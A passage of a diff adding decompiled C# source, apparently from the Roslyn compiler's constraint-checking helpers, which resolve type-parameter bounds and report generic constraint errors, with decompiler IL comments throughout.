instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + ((BindingDiagnosticBag)(object)diagnostics).Add(current.UseSiteInfo, current.TypeParameter.GetFirstLocation()); + } + instance.Free(); + return result; + } + + public static TypeParameterBounds ResolveBounds(this TypeParameterSymbol typeParameter, AssemblySymbol corLibrary, ConsList inProgress, ImmutableArray constraintTypes, bool inherited, CSharpCompilation currentCompilation, ArrayBuilder diagnosticsBuilder, ref ArrayBuilder useSiteDiagnosticsBuilder, CompoundUseSiteInfo template) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected I4, but got Unknown + //IL_034d: Unknown result type (might be due to invalid IL or missing references) + //IL_0373: Unknown result type (might be due to invalid IL or missing references) + //IL_0379: Invalid comparison between Unknown and I4 + //IL_02c4: Unknown result type (might be due to invalid IL or missing references) + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Invalid comparison between Unknown and I4 + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_0258: Unknown result type (might be due to invalid IL or missing references) + //IL_032a: Unknown result type (might be due to invalid IL or missing references) + //IL_0193: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol = corLibrary.GetSpecialType((SpecialType)((!typeParameter.HasValueTypeConstraint) ? 1 : 5)); + TypeSymbol typeSymbol = namedTypeSymbol; + ImmutableArray interfaces; + if (constraintTypes.Length == 0) + { + interfaces = ImmutableArray.Empty; + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + TypeConversions typeConversions = corLibrary.TypeConversions; + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector(template); + ImmutableArray.Enumerator enumerator = constraintTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + TypeKind typeKind = current.TypeKind; + NamedTypeSymbol namedTypeSymbol2; + TypeSymbol typeSymbol2; + switch (typeKind - 1) + { + case 10: + { + TypeParameterSymbol typeParameterSymbol2 = (TypeParameterSymbol)current.Type; + ConsList inProgress2; + if (typeParameterSymbol2.ContainingSymbol == typeParameter.ContainingSymbol) + { + if (ConsListExtensions.ContainsReference(inProgress, typeParameterSymbol2)) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameterSymbol2, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_CircularConstraint, typeParameterSymbol2, typeParameter)))); + continue; + } + inProgress2 = inProgress; + } + else + { + inProgress2 = ConsList.Empty; + } + namedTypeSymbol2 = typeParameterSymbol2.GetEffectiveBaseClass(inProgress2); + typeSymbol2 = typeParameterSymbol2.GetDeducedBaseType(inProgress2); + AddInterfaces(instance2, typeParameterSymbol2.GetInterfaces(inProgress2)); + if (inherited || currentCompilation == null || !typeParameterSymbol2.IsFromCompilation(currentCompilation)) + { + break; + } + ErrorCode code; + if (typeParameterSymbol2.HasUnmanagedTypeConstraint) + { + code = ErrorCode.ERR_ConWithUnmanagedCon; + } + else + { + if (!typeParameterSymbol2.HasValueTypeConstraint) + { + break; + } + code = ErrorCode.ERR_ConWithValCon; + } + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(code, typeParameter, typeParameterSymbol2)))); + continue; + } + case 1: + case 2: + case 6: + if (current.Type.IsInterfaceType()) + { + AddInterface(instance2, (NamedTypeSymbol)current.Type); + instance.Add(current); + continue; + } + namedTypeSymbol2 = (NamedTypeSymbol)current.Type; + typeSymbol2 = current.Type; + break; + case 9: + if (current.IsNullableType()) + { + TypeSymbol nullableUnderlyingType = current.Type.GetNullableUnderlyingType(); + if ((int)nullableUnderlyingType.TypeKind == 11) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)nullableUnderlyingType; + if (typeParameterSymbol.ContainingSymbol == typeParameter.ContainingSymbol && ConsListExtensions.ContainsReference(inProgress, typeParameterSymbol)) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameterSymbol, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_CircularConstraint, typeParameterSymbol, typeParameter)))); + continue; + } + } + } + namedTypeSymbol2 = corLibrary.GetSpecialType((SpecialType)5); + typeSymbol2 = current.Type; + break; + case 4: + namedTypeSymbol2 = corLibrary.GetSpecialType((SpecialType)2); + typeSymbol2 = current.Type; + break; + case 0: + namedTypeSymbol2 = corLibrary.GetSpecialType((SpecialType)23); + typeSymbol2 = current.Type; + break; + case 5: + namedTypeSymbol2 = (NamedTypeSymbol)current.Type; + typeSymbol2 = current.Type; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)current.TypeKind); + case 8: + case 12: + continue; + } + instance.Add(current); + if (!typeSymbol.IsErrorType() && !typeSymbol2.IsErrorType() && !IsEncompassedBy(typeConversions, typeSymbol, typeSymbol2, ref useSiteInfo)) + { + if (!IsEncompassedBy(typeConversions, typeSymbol2, typeSymbol, ref useSiteInfo)) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BaseConstraintConflict, typeParameter, typeSymbol2, typeSymbol)))); + } + else + { + typeSymbol = typeSymbol2; + namedTypeSymbol = namedTypeSymbol2; + } + } + } + AppendUseSiteDiagnostics(useSiteInfo, typeParameter, ref useSiteDiagnosticsBuilder); + constraintTypes = instance.ToImmutableAndFree(); + interfaces = instance2.ToImmutableAndFree(); + } + if (constraintTypes.Length == 0 && (int)typeSymbol.SpecialType == 1) + { + return null; + } + TypeParameterBounds typeParameterBounds = new TypeParameterBounds(constraintTypes, interfaces, namedTypeSymbol, typeSymbol); + if (inherited) + { + CheckOverrideConstraints(typeParameter, typeParameterBounds, diagnosticsBuilder); + } + return typeParameterBounds; + } + + internal static ImmutableArray> MakeTypeParameterConstraintTypes(this MethodSymbol containingSymbol, Binder withTypeParametersBinder, ImmutableArray typeParameters, TypeParameterListSyntax typeParameterList, SyntaxList constraintClauses, BindingDiagnosticBag diagnostics) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (typeParameters.Length == 0 || constraintClauses.Count == 0) + { + return ImmutableArray>.Empty; + } + withTypeParametersBinder = withTypeParametersBinder.WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.GenericConstraintsClause); + ImmutableArray immutableArray = withTypeParametersBinder.BindTypeParameterConstraintClauses(containingSymbol, typeParameters, typeParameterList, constraintClauses, diagnostics, performOnlyCycleSafeValidation: false); + if (immutableArray.All((TypeParameterConstraintClause clause) => clause.ConstraintTypes.IsEmpty)) + { + return ImmutableArray>.Empty; + } + return ImmutableArrayExtensions.SelectAsArray>(immutableArray, (Func>)((TypeParameterConstraintClause clause) => clause.ConstraintTypes)); + } + + internal static ImmutableArray MakeTypeParameterConstraintKinds(this MethodSymbol containingSymbol, Binder withTypeParametersBinder, ImmutableArray typeParameters, TypeParameterListSyntax typeParameterList, SyntaxList constraintClauses) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (typeParameters.Length == 0) + { + return ImmutableArray.Empty; + } + ImmutableArray immutableArray; + if (constraintClauses.Count == 0) + { + immutableArray = withTypeParametersBinder.GetDefaultTypeParameterConstraintClauses(typeParameterList); + } + else + { + withTypeParametersBinder = withTypeParametersBinder.WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.GenericConstraintsClause | BinderFlags.SuppressTypeArgumentBinding); + immutableArray = withTypeParametersBinder.BindTypeParameterConstraintClauses(containingSymbol, typeParameters, typeParameterList, constraintClauses, BindingDiagnosticBag.Discarded, performOnlyCycleSafeValidation: true); + immutableArray = AdjustConstraintKindsBasedOnConstraintTypes(typeParameters, immutableArray); + } + if (immutableArray.All((TypeParameterConstraintClause clause) => clause.Constraints == TypeParameterConstraintKind.None)) + { + return ImmutableArray.Empty; + } + return ImmutableArrayExtensions.SelectAsArray(immutableArray, (Func)((TypeParameterConstraintClause clause) => clause.Constraints)); + } + + internal static ImmutableArray AdjustConstraintKindsBasedOnConstraintTypes(ImmutableArray typeParameters, ImmutableArray constraintClauses) + { + int length = typeParameters.Length; + SmallDictionary val = TypeParameterConstraintClause.BuildIsValueTypeMap(typeParameters, constraintClauses); + SmallDictionary val2 = TypeParameterConstraintClause.BuildIsReferenceTypeFromConstraintTypesMap(typeParameters, constraintClauses); + ArrayBuilder val3 = null; + for (int i = 0; i < length; i++) + { + TypeParameterConstraintClause typeParameterConstraintClause = constraintClauses[i]; + TypeParameterSymbol typeParameterSymbol = typeParameters[i]; + TypeParameterConstraintKind typeParameterConstraintKind = typeParameterConstraintClause.Constraints; + if ((typeParameterConstraintKind & TypeParameterConstraintKind.AllValueTypeKinds) == 0 && val[typeParameterSymbol]) + { + typeParameterConstraintKind |= TypeParameterConstraintKind.ValueTypeFromConstraintTypes; + } + if (val2[typeParameterSymbol]) + { + typeParameterConstraintKind |= TypeParameterConstraintKind.ReferenceTypeFromConstraintTypes; + } + if (typeParameterConstraintClause.Constraints != typeParameterConstraintKind) + { + if (val3 == null) + { + val3 = ArrayBuilder.GetInstance(constraintClauses.Length); + val3.AddRange(constraintClauses); + } + val3[i] = TypeParameterConstraintClause.Create(typeParameterConstraintKind, typeParameterConstraintClause.ConstraintTypes); + } + } + if (val3 != null) + { + constraintClauses = val3.ToImmutableAndFree(); + } + return constraintClauses; + } + + private static void CheckOverrideConstraints(TypeParameterSymbol typeParameter, TypeParameterBounds bounds, ArrayBuilder diagnosticsBuilder) + { + TypeSymbol deducedBaseType = bounds.DeducedBaseType; + ImmutableArray constraintTypes = bounds.ConstraintTypes; + if (IsValueType(typeParameter, constraintTypes) && IsReferenceType(typeParameter, constraintTypes)) + { + diagnosticsBuilder.Add(GenerateConflictingConstraintsError(typeParameter, deducedBaseType, deducedBaseType.IsValueType)); + } + else if (deducedBaseType.IsNullableType() && (typeParameter.HasValueTypeConstraint || typeParameter.HasReferenceTypeConstraint)) + { + diagnosticsBuilder.Add(GenerateConflictingConstraintsError(typeParameter, deducedBaseType, typeParameter.HasReferenceTypeConstraint)); + } + } + + public static void CheckAllConstraints(this TypeSymbol type, CSharpCompilation compilation, ConversionsBase conversions, Location location, BindingDiagnosticBag diagnostics) + { + bool includeNullability = compilation.IsFeatureEnabled(MessageID.IDS_FeatureNullableReferenceTypes); + CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = CheckConstraintsArgsBoxed.Allocate(compilation, conversions, includeNullability, location, diagnostics); + type.CheckAllConstraints(checkConstraintsArgsBoxed); + checkConstraintsArgsBoxed.Free(); + } + + public static bool CheckAllConstraints(this TypeSymbol type, CSharpCompilation compilation, ConversionsBase conversions) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + CheckConstraintsArgsBoxed checkConstraintsArgsBoxed = CheckConstraintsArgsBoxed.Allocate(compilation, conversions, includeNullability: false, NoLocation.Singleton, instance); + type.CheckAllConstraints(checkConstraintsArgsBoxed); + bool result = !((BindingDiagnosticBag)instance).HasAnyErrors(); + checkConstraintsArgsBoxed.Free(); + ((BindingDiagnosticBag)(object)instance).Free(); + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void CheckAllConstraints(this TypeSymbol type, CheckConstraintsArgsBoxed args) + { + type.VisitType(s_checkConstraintsSingleTypeFunc, args); + } + + private static bool CheckConstraintsSingleType(TypeSymbol type, in CheckConstraintsArgs args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if ((int)type.Kind == 11) + { + ((NamedTypeSymbol)type).CheckConstraints(in args); + } + else if ((int)type.Kind == 14) + { + Binder.CheckManagedAddr(args.CurrentCompilation, ((PointerTypeSymbol)type).PointedAtType, args.Location, args.Diagnostics); + } + return false; + } + + public static void CheckConstraints(this NamedTypeSymbol tuple, in CheckConstraintsArgs args, SyntaxNode typeSyntax, ImmutableArray elementLocations, BindingDiagnosticBag nullabilityDiagnosticsOpt) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + if (!RequiresChecking(tuple) || typeSyntax.HasErrors) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + NamedTypeSymbol.GetUnderlyingTypeChain(tuple, instance3); + int offset = 0; + Enumerator enumerator = instance3.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + ArrayBuilder useSiteDiagnosticsBuilder = null; + CheckTypeConstraints(current, in args, instance, (nullabilityDiagnosticsOpt == null) ? null : instance2, ref useSiteDiagnosticsBuilder); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + populateDiagnosticsAndClear(instance, args.Diagnostics); + populateDiagnosticsAndClear(instance2, nullabilityDiagnosticsOpt); + offset += 7; + } + instance3.Free(); + instance.Free(); + instance2.Free(); + void populateDiagnosticsAndClear(ArrayBuilder builder, BindingDiagnosticBag bag) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + if (bag == null) + { + builder.Clear(); + } + else + { + Enumerator enumerator2 = builder.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeParameterDiagnosticInfo current2 = enumerator2.Current; + int ordinal = current2.TypeParameter.Ordinal; + Location val = ((ordinal == 7) ? typeSyntax.Location : elementLocations[ordinal + offset]); + ((BindingDiagnosticBag)(object)bag).Add(current2.UseSiteInfo, val); + } + builder.Clear(); + } + } + } + + public static bool CheckConstraintsForNamedType(this NamedTypeSymbol type, in CheckConstraintsArgs args, SyntaxNode typeSyntax, SeparatedSyntaxList typeArgumentsSyntax, ConsList basesBeingResolved) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + if (!RequiresChecking(type)) + { + return true; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + bool result = !typeSyntax.HasErrors && CheckTypeConstraints(type, in args, instance, args.IncludeNullability ? instance : null, ref useSiteDiagnosticsBuilder); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + int ordinal = current.TypeParameter.Ordinal; + Location val = ((ordinal < typeArgumentsSyntax.Count) ? ((SyntaxNode)typeArgumentsSyntax[ordinal]).Location : args.Location); + ((BindingDiagnosticBag)(object)args.Diagnostics).Add(current.UseSiteInfo, val); + } + instance.Free(); + if (HasDuplicateInterfaces(type, basesBeingResolved)) + { + result = false; + args.Diagnostics.Add(ErrorCode.ERR_BogusType, args.Location, type); + } + return result; + } + + public static bool CheckConstraints(this NamedTypeSymbol type, in CheckConstraintsArgs args) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + if (!RequiresChecking(type)) + { + return true; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + bool result = CheckTypeConstraints(type, in args, instance, args.IncludeNullability ? instance : null, ref useSiteDiagnosticsBuilder); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + ((BindingDiagnosticBag)(object)args.Diagnostics).Add(current.UseSiteInfo, args.Location); + } + instance.Free(); + if ((args.CurrentCompilation == null || !type.IsFromCompilation(args.CurrentCompilation)) && HasDuplicateInterfaces(type, null)) + { + result = false; + args.Diagnostics.Add(ErrorCode.ERR_BogusType, args.Location, type); + } + return result; + } + + private static bool HasDuplicateInterfaces(NamedTypeSymbol type, ConsList basesBeingResolved) + { + ImmutableArray immutableArray = type.OriginalDefinition.InterfacesNoUseSiteDiagnostics(basesBeingResolved); + switch (immutableArray.Length) + { + case 0: + case 1: + return false; + case 2: + if ((object)immutableArray[0].OriginalDefinition != immutableArray[1].OriginalDefinition) + { + return false; + } + break; + default: + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + NamedTypeSymbol current; + do + { + if (enumerator.MoveNext()) + { + current = enumerator.Current; + continue; + } + instance.Free(); + return false; + } + while (((HashSet)(object)instance).Add((object)current.OriginalDefinition)); + instance.Free(); + break; + } + } + return ImmutableArrayExtensions.HasDuplicates(type.InterfacesNoUseSiteDiagnostics(basesBeingResolved), (IEqualityComparer)SymbolEqualityComparer.IgnoringDynamicTupleNamesAndNullability); + } + + public static bool CheckConstraints(this MethodSymbol method, in CheckConstraintsArgs args) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (!RequiresChecking(method)) + { + return true; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + bool result = CheckMethodConstraints(method, in args, instance, args.IncludeNullability ? instance : null, ref useSiteDiagnosticsBuilder); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterDiagnosticInfo current = enumerator.Current; + ((BindingDiagnosticBag)(object)args.Diagnostics).Add(current.UseSiteInfo, args.Location); + } + instance.Free(); + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool CheckTypeConstraints(NamedTypeSymbol type, in CheckConstraintsArgs args, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref ArrayBuilder useSiteDiagnosticsBuilder) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return type.CheckConstraints(in args, type.TypeSubstitution, type.OriginalDefinition.TypeParameters, type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics, diagnosticsBuilder, nullabilityDiagnosticsBuilderOpt, ref useSiteDiagnosticsBuilder); + } + + public static bool CheckMethodConstraints(MethodSymbol method, in CheckConstraintsArgs args, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref ArrayBuilder useSiteDiagnosticsBuilder, BitVector skipParameters = default(BitVector)) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return method.CheckConstraints(in args, method.TypeSubstitution, method.OriginalDefinition.TypeParameters, method.TypeArgumentsWithAnnotations, diagnosticsBuilder, nullabilityDiagnosticsBuilderOpt, ref useSiteDiagnosticsBuilder, skipParameters); + } + + public static bool CheckConstraints(this Symbol containingSymbol, in CheckConstraintsArgs args, TypeMap substitution, ImmutableArray typeParameters, ImmutableArray typeArguments, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref ArrayBuilder useSiteDiagnosticsBuilder, BitVector skipParameters = default(BitVector), HashSet ignoreTypeConstraintsDependentOnTypeParametersOpt = null) + { + int length = typeParameters.Length; + bool result = true; + for (int i = 0; i < length; i++) + { + if (!((BitVector)(ref skipParameters))[i] && !CheckConstraints(containingSymbol, in args, substitution, typeParameters[i], typeArguments[i], diagnosticsBuilder, nullabilityDiagnosticsBuilderOpt, ref useSiteDiagnosticsBuilder, ignoreTypeConstraintsDependentOnTypeParametersOpt)) + { + result = false; + } + } + return result; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static bool CheckBasicConstraints(Symbol containingSymbol, in CheckConstraintsArgs args, TypeParameterSymbol typeParameter, TypeWithAnnotations typeArgument, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref ArrayBuilder useSiteDiagnosticsBuilder) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Invalid comparison between Unknown and I4 + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_01d4: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Invalid comparison between Unknown and I4 + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + if (typeArgument.Type.IsPointerOrFunctionPointer() || typeArgument.IsRestrictedType() || typeArgument.IsVoidType()) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadTypeArgument, typeArgument.Type)))); + return false; + } + if (typeArgument.IsStatic) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_GenericArgIsStaticClass, typeArgument.Type)))); + return false; + } + if (typeParameter.HasReferenceTypeConstraint && !typeArgument.Type.IsReferenceType) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_RefConstraintNotSatisfied, containingSymbol.ConstructedFrom(), typeParameter, typeArgument.Type)))); + return false; + } + CheckNullability(containingSymbol, typeParameter, typeArgument, nullabilityDiagnosticsBuilderOpt); + if (typeParameter.HasUnmanagedTypeConstraint) + { + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector(args.Template); + ManagedKind managedKind = typeArgument.Type.GetManagedKind(ref useSiteInfo); + AppendUseSiteDiagnostics(useSiteInfo, typeParameter, ref useSiteDiagnosticsBuilder); + if ((int)managedKind == 3 || !typeArgument.Type.IsNonNullableValueType()) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnmanagedConstraintNotSatisfied, containingSymbol.ConstructedFrom(), typeParameter, typeArgument.Type)))); + return false; + } + if ((int)managedKind == 2 && args.CurrentCompilation != null) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureUnmanagedConstructedTypes.GetFeatureAvailabilityDiagnosticInfo(args.CurrentCompilation); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)featureAvailabilityDiagnosticInfo))); + return false; + } + } + } + if (typeParameter.HasValueTypeConstraint && !typeArgument.Type.IsNonNullableValueType()) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_ValConstraintNotSatisfied, containingSymbol.ConstructedFrom(), typeParameter, typeArgument.Type)))); + return false; + } + return true; + } + + private static bool CheckConstraints(Symbol containingSymbol, in CheckConstraintsArgs args, TypeMap substitution, TypeParameterSymbol typeParameter, TypeWithAnnotations typeArgument, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref ArrayBuilder useSiteDiagnosticsBuilder, HashSet ignoreTypeConstraintsDependentOnTypeParametersOpt) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + if (typeArgument.Type.IsErrorType()) + { + return true; + } + if (!CheckBasicConstraints(containingSymbol, in args, typeParameter, typeArgument, diagnosticsBuilder, nullabilityDiagnosticsBuilderOpt, ref useSiteDiagnosticsBuilder)) + { + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector(args.Template); + ImmutableArray original = typeParameter.ConstraintTypesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + substitution.SubstituteConstraintTypesDistinctWithoutModifiers(typeParameter, original, instance, ignoreTypeConstraintsDependentOnTypeParametersOpt); + bool hasError = false; + if (typeArgument.Type is NamedTypeSymbol { IsInterface: not false } namedTypeSymbol && SelfOrBaseHasStaticAbstractMember(namedTypeSymbol, ref useSiteInfo, out var memberWithoutImplementation)) + { + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_GenericConstraintNotSatisfiedInterfaceWithStaticAbstractMembers, namedTypeSymbol, memberWithoutImplementation)))); + hasError = true; + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + CheckConstraintType(containingSymbol, in args, typeParameter, typeArgument, diagnosticsBuilder, nullabilityDiagnosticsBuilderOpt, ref useSiteInfo, current, ref hasError); + } + instance.Free(); + if (AppendUseSiteDiagnostics(useSiteInfo, typeParameter, ref useSiteDiagnosticsBuilder)) + { + hasError = true; + } + if (typeParameter.HasConstructorConstraint && errorIfNotSatisfiesConstructorConstraint(containingSymbol, typeParameter, typeArgument, diagnosticsBuilder)) + { + return false; + } + return !hasError; + [MethodImpl(MethodImplOptions.NoInlining)] + static bool errorIfNotSatisfiesConstructorConstraint(Symbol symbol, TypeParameterSymbol typeParameterSymbol, TypeWithAnnotations typeWithAnnotations, ArrayBuilder val) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + ConstructorConstraintError constructorConstraintError = SatisfiesConstructorConstraint(typeWithAnnotations.Type); + switch (constructorConstraintError) + { + case ConstructorConstraintError.None: + return false; + case ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType: + val.Add(new TypeParameterDiagnosticInfo(typeParameterSymbol, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NewConstraintNotSatisfied, symbol.ConstructedFrom(), typeParameterSymbol, typeWithAnnotations.Type)))); + return true; + case ConstructorConstraintError.HasRequiredMembers: + val.Add(new TypeParameterDiagnosticInfo(typeParameterSymbol, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_NewConstraintCannotHaveRequiredMembers, symbol.ConstructedFrom(), typeParameterSymbol, typeWithAnnotations.Type)))); + return true; + default: + throw ExceptionUtilities.UnexpectedValue((object)constructorConstraintError); + } + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static void CheckNullability(Symbol containingSymbol, TypeParameterSymbol typeParameter, TypeWithAnnotations typeArgument, ArrayBuilder nullabilityDiagnosticsBuilderOpt) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + if (nullabilityDiagnosticsBuilderOpt != null) + { + if (typeParameter.HasNotNullConstraint && typeArgument.GetValueNullableAnnotation().IsAnnotated() && !typeArgument.Type.IsNonNullableValueType()) + { + nullabilityDiagnosticsBuilderOpt.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_NullabilityMismatchInTypeParameterNotNullConstraint, containingSymbol.ConstructedFrom(), typeParameter, typeArgument)))); + } + if (typeParameter.HasReferenceTypeConstraint && typeParameter.ReferenceTypeConstraintIsNullable == false && typeArgument.GetValueNullableAnnotation().IsAnnotated()) + { + nullabilityDiagnosticsBuilderOpt.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint, containingSymbol.ConstructedFrom(), typeParameter, typeArgument)))); + } + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static void CheckConstraintType(Symbol containingSymbol, in CheckConstraintsArgs args, TypeParameterSymbol typeParameter, TypeWithAnnotations typeArgument, ArrayBuilder diagnosticsBuilder, ArrayBuilder nullabilityDiagnosticsBuilderOpt, ref CompoundUseSiteInfo useSiteInfo, TypeWithAnnotations constraintType, ref bool hasError) + { + //IL_00c5: Unknown 